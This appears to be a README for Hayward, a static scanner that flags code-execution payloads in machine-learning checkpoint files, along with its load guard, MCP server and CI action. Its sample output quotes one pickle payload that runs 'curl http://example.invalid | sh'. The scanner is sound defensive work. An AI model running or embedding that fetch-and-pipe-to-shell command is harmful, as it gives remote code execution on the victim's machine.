Hayward

Hayward

Hayward is a static security scanner for machine-learning model files. It scans PyTorch, pickle, joblib, GGUF, SafeTensors, ONNX and Keras files, plus Hugging Face config.json, and tells you whether loading a checkpoint would run code, before you load it.

[License MIT] [Python 3.10+] [Rules 47] [Dependencies 1] [Scan makes no outbound calls] [GitHub Marketplace]

pip install haywardhayward scan ./models

CRITICAL MFV-PICKLE-001  checkpoints/model.pt         Pickle file references unsafe callable(s) that grant code/command         execution on load: posix.system('curl http://example.invalid | sh').
1 finding(s): 1 critical

Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.

Guard the load itself

A scan checks a file before you load it. The guard checks it while you do:

import hayward.guard  # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls

It also stops from_pretrained(..., trust_remote_code=True) from running a repo's own Python code, unless you name the repo with hayward.guard.install(remote_code=["org/name"]).

Each load is scanned first, then every function the file asks for is checked before it runs. The default mode raises the bar but is not a sandbox. For files you do not trust, hayward.guard.install(strict=True) refuses anything not on the known-safe list. With hayward.guard.install(verified="strict"), a file loads only if the signed verdict log vouches for its exact bytes. The usage guide lists what it does not cover.

Let your coding agent check first

pip install "hayward[mcp]"claude mcp add hayward -- hayward mcp

[Claude Code calls Hayward over MCP, refuses a booby-trapped checkpoint and clears a normal one]

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.

It tells you when it could not look. A container it could not fully walk, or content it could not verify, gets an explicit coverage finding rather than a clean verdict, and a parse error never erases what was already found. Attackers hide payloads behind deliberate parse errors, so a payload followed by junk still scans as critical. One honest limit: bytes that match no model format at all, from the first byte, report nothing.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, and hayward scan makes no network calls. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

26 extensions in total. Format comes from magic bytes, so a payload renamed weights.safetensors, or weights.dat, or given no extension at all, does not walk past on the strength of its name. A directory scan still finds its candidates by extension first, since sniffing a whole tree means reading it: coverage states that limit.

Ways to run it

hayward scan ./models                          # command linehayward scan ./models -f html -o report.html   # shareable reporthayward-gui                                    # desktop window

from hayward import ModelFileScannerfindings = ModelFileScanner().scan_directory(Path("models"))

Or as the load guard, a pre-commit hook, or an MCP server a coding agent calls before it loads a model.

And in CI, as a GitHub Action that fails the build and uploads SARIF to code scanning:

- uses: hedgerow-dev/hayward@v1  with:    path: models    fail-on: high

See the GitHub Action guide, or the listing on GitHub Marketplace.

What a clean result means

That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.

Documentation

• Usage: CLI reference, exit codes, CI, pre-commit, the GUI, the MCP server, the Python API, the load guard
• Rules: all 47 rules with severities and CWE mappings
• Coverage: what it does when it cannot read a file, and why that is a finding
• How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
• GitHub Action: run the scan in CI and upload SARIF to code scanning
• Reproducible builds: the Docker image and the browser-demo build pipeline
• Accuracy: measured results, the caveats, and where it loses

Contributing

The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.

git clone https://github.com/hedgerow-dev/haywardcd hayward && pip install -e ".[dev]" && pytest

Security

Report vulnerabilities in Hayward to [email protected] rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.

Licence

MIT. See LICENSE and NOTICE.

A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.